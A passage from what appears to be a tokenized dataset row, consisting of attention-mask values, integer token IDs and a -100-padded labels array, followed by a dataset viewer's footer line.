1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5831,
467,
16950,
1429,
31246,
429,
654,
39,
3462,
288,
203,
565,
445,
7412,
12,
2867,
8027,
16,
2254,
5034,
3844,
13,
3903,
1135,
261,
6430,
1769,
203,
203,
565,
445,
7412,
1265,
12,
203,
3639,
1758,
5793,
16,
203,
3639,
1758,
8027,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
3903,
1135,
261,
6430,
1769,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.